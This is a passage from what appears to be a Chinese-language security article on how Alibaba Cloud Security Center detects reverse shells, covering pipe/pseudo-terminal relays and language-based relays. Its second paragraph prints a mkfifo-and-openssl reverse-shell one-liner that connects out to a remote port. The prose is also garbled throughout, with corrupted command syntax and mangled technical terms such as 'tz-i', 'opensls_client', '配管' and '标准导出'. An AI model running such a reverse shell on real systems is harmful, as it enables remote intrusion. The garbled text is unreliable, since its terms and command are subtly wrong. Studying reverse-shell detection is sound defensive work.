第二种反弹shell:借助管道/伪终端等中转，重新定向shell的输入输出到中转。这种反弹shell借助配管、伪终端等进行中转，以下案例将tz-i的标准输入、标准导出、标准错误重定向命名配管/tmp/f，加密通信数据也流向该命名配管。

mkfifo/tmp/f/bin/tz-i&1|opensls_client-quiet-connslw0.0.0:1111>/tmp/f在变形的情况下，有可能借助层次中转，但无论借助几层，最终都会形成流动的数据通道。可以借助跟踪fd和程序的关系来复盖。

阿里云安全中心警告这种反弹shell的使用频率很高，其中利用伪终端转播的方式值得单独讨论。例如，该模式与管道等转播原理相同，但伪终端转播的检查难度大幅度提高，仅从shell的标准输入输出来看，与正常打开的终端没有什么区别。另外，容器、各种产品agent等也有类似的日志表现，在平衡泄漏和误报的难易度上大幅度提高。因此，根据文件说明符检查方案，综合分析过程、网络等多种日志信息。借助管道、伪终端等作为中转体，借助socket，将重定向shell编译器的输入输出导出到中转体，例如以下案例。

第三种反弹shell:开发语言实现标准输入中转，重定向命令执行的输入中转，第三种借助开发语言实现标准输入中转，然后重定向命令执行的输入中转，标准导出和标准错误中转形式不受限制。在这种的情景下，反弹shell的命令执行和正常的业务行为愈发难以区分，对抗度上升，除了尽量从过程命令行复盖这种的反弹shell的特征外，云安全中心借助异常命令行为的顺序、异常的shell启动模式来兜底这种风险。异常命令行为序列实体模型借助于阿里云大数据实时计算平台，借助分析命令序列和攻击者获得shell后的行为相似度来判断是否反弹shell。异常shell启动实体模型结合多维特征和机械历史行为综合判定发出警告。